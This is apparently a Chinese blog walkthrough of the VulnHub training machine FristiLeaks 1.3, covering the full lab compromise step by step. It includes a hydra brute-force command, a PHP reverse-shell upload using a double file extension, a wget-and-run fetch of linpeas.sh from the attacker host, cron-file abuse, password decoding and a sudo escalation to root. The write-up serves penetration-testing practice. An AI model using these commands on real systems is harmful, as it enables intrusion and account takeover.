vulnhub FristiLeaks: 1.3

渗透思路:

nmap扫描----->查看robots.txt,并根据主页信息推测出admin portal的url----->查看网页源代码,分析注释,base64解码出包含重要信息的png图片----->hydra暴力破解网站用户名密码(其实不需要暴力破解)----->利用文件上传(apache httpd多后缀文件解析漏洞)获得反弹shell----->利用定时文件修改目录权限----->编写python脚本解码,得到admin和fristigod的密码----->sudo提权获得root权限

环境信息:

靶机ip:192.168.101.43

攻击机ip:192.168.101.25

具体步骤:

步骤1:nmap扫描

sudo nmap -sS -A -p- 192.168.101.43

扫半天扫出个80端口。nmap还不错哦,扫出来个robots.txt

步骤2:根据主页信息和robots.txt推测出admin portal的url

主页粉粉的真好看,这么大的座右铭一定有用

http://192.168.101.43/robots.txt 有三个不让爬虫扫描的目录

这三个目录下都是同一张图

有点英语基础在身上的至少知道cola和beer是饮料,结合主页巨大的座右铭,drink fristi,难不成,应该访问http://192.168.101.43/fristi

还真是,得到了admin portal的登录页面

步骤3:查看网页源代码,分析注释

在http://192.168.101.43/fristi页面右键查看网页源代码,发现两段注释

第一段是个TODO list,是eezeepz写的,意思是他为了测试方便留了点东西在这儿,生产环境中需要删除。

 第二段看上去是base64编码的

把这段注释中的base64编码的字符串保存到文件p2.txt中,并用base64 -d命令进行解码

base64 -d p2.txt 

看到解码的结果第一行有个PNG,把结果保存为.png格式试试

base64 -d p2.txt > p2.png

打开p2.png看看,内容是keKkeKKeKKeKkEkkEk,备用

步骤4:hydra暴力破解网站用户名密码(其实不需要暴力破解TAT)

在http://192.168.101.43/fristi随便输入个用户名密码,点Login之后会提示用户名或密码错误。那这种报错情况就得同时暴力破解用户名和密码了。

burp抓到的报文如下,登录参数发往http://192.168.101.43/fristi/checklogin.php,用户名参数名为myusername,密码参数名为mypassword

来生成用户名和密码字典,使用cewl命令把网站首页上超过4个字母的单词扒拉下来

 cewl http://192.168.101.43 -m 4 -w fristi.txt

看看fristi.txt,里面都是纯英文单词,没有数字和符号

我手工把数字加上了 TAT

把上一步注释中的eezeepz和图片中的keKkeKKeKKeKkEkkEk加上

 用hydra爆破

hydra -L fristi.txt -P fristi.txt 192.168.101.43 http-post-form "/fristi/checklogin.php:myusername=^USER^&mypassword=^PASS^&Submit=Login:Wrong"

破解出来用户名是 eezeepz 密码是 keKkeKKeKKeKkEkkEk

步骤5:利用文件上传获得反弹shell

用上一步爆破出的用户名密码登录网站之后,发现可以上传文件

先上传一个php文件试试,我上传的文件名叫php-reverse.php,是用kali自带的反弹shell : /usr/share/webshells/php/php-reverse-shell.php修改了$ip和$port的值之后得到的

上传失败,提示只能上传jpg,png,gif

分析一下,从错误提示看,没有弹框,不像是前端过滤,并且明确提示了可以上传的文件类型,有可能是需要进行MIME绕过,或者magic number绕过,或者文件类型白名单绕过,或者兼而有之。

先试试简单的修改MIME、magic number

如下图所示Content-Type改为image/gif,文件内容最前面加GIF89a,发送请求报文之后,还是上传文件失败,看来文件后缀白名单绕过是逃不掉了。

先试试直接把文件后缀改成.gif,发送请求报文后,提示上传成功,文件被保存在/uploads文件夹下

浏览器访问 http://192.168.101.43/fristi/uploads/php-reverse.gif,并没有触发反弹shell

步骤1中nmap扫描出来靶机的web服务器是apache httpd,由于用户的不安全配置,是可能出现多后缀文件解析漏洞的。一种可能性是从右向左读文件后缀,直到读到可解析的后缀为止,另一种就像下面这篇博文写的,只要多个后缀中包含一个.php,就会被解析为php。

apache httpd多后缀解析漏洞复现 - 雨中落叶 - 博客园

因此,将发送的文件名改为 php-reverse.php.gif,发送成功

浏览器访问 http://192.168.101.43/fristi/uploads/php-reverse.php.gif

攻击机上监听端口得到反弹shell

步骤6:利用定时文件修改目录权限

首先进入/tmp目录,下载并执行linpeas.sh检查提权的可能路径,然而并没有得到啥有用的结果

wget http://192.168.101.25/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh

查看/var/www,本来想看看有没有配置文件暴露mysql或者其他用户名和密码,结果没找到配置文件,找到个notes.txt,里面的信息指向eezeepz的home目录

根据提示进入/home/eezeepz目录,又发现一个notes.txt,这个信息量比较大,大意是说可以在/tmp/目录下创建一个叫runthis的文件,每行一个命令,这样每分钟这个文件就会以admin的身份执行一次。但是这个文件中使用的命令也是有限制的,chmod,df,cat,echo,ps,grep,egrep命令必须使用/home/admin目录下的,其他命令必须使用/usr/bin目录下的,并且runthis文件中出现的命令必须以完整路径的形式给出。

根据提示来到/tmp/下面,输入

echo "/home/admin/chmod 777 /home/admin;" >runthis
chmod +x runthis

 创建了内容为/home/admin/chmod 777 /home/admin;,权限为777的文件runthis

 

等上个不到1分钟,就会出现cronresult文件,表示runthis已经被执行了,查看cronresult的内容可以知道runthis有没有被执行成功,如果失败是什么原因。

执行成功之后,原本没有权限的/home/admin目录就可以进入了。

步骤7:编写python脚本解码,得到admin和fristigod的密码

这个目录下有3个特别的文件,分别叫cryptedpass.txt,cryptpass.py和whoisyourgodnow.txt

看一下这三个文件的内容

cryptedpass.txt:

mVGZ3O3omkJLmy2pcuTq

whoisyourgodnow.txt:

=RFn0AKnlMHMPIzpyuTI0ITG

cryptpass.py:

import base64,codecs,sys

def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')

cryptoResult=encodeString(sys.argv[1])
print cryptoResult

cryptedpass.txt和whoisyourgodnow.txt的内容看起来像base64;再通过cryptpass.py的内容,大概就知道cryptedpass.txt和whoisyourgodnow.txt的内容到底是怎么回事了。

cryptpass.py中的python代码,首先将命令行输入的参数进行base64编码,结果倒序之后再进行rot13编码。

而cryptedpass.txt和whoisyourgodnow.txt中奇奇怪怪的内容可能就是用cryptpass.py处理了某个字符串之后的结果。

为了解码,在攻击机上新建一个文件decode.py,写入如下python代码:

import base64,codecs,sys

def decodeString(str):
    base64string= codecs.decode(str, 'rot13')
    string= base64.b64decode(base64string[::-1])
    return string

Result=decodeString(sys.argv[1])
print Result

解码whoisyourgodnow.txt的内容

python decode.py =RFn0AKnlMHMPIzpyuTI0ITG

解码出来的结果是 LetThereBeFristi! ,这个是fristigod的密码

 

再解码cryptedpass.txt的内容

python decode.py mVGZ3O3omkJLmy2pcuTq

解码结果是 thisisalsopw123 ,这个是admin的密码

 

用su命令可以提权到admin或者fristigod

步骤8:sudo提权获得root权限

su到admin之后没有发现什么提权途径,su到fristigod之后,执行sudo -l发现fristigod可以sudo执行/var/fristigod/.secret_admin_stuff/doCom

执行

sudo /var/fristigod/.secret_admin_stuff/doCom

结果提示当前用户不能以root权限执行这个文件

试了几个用户之后,查看/etc/passwd发现有fristi用户 

以这个用户的权限执行 /var/fristigod/.secret_admin_stuff/doCom

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom

用法提示文件名之后要加上终端命令 

执行 

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash

得到root权限 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值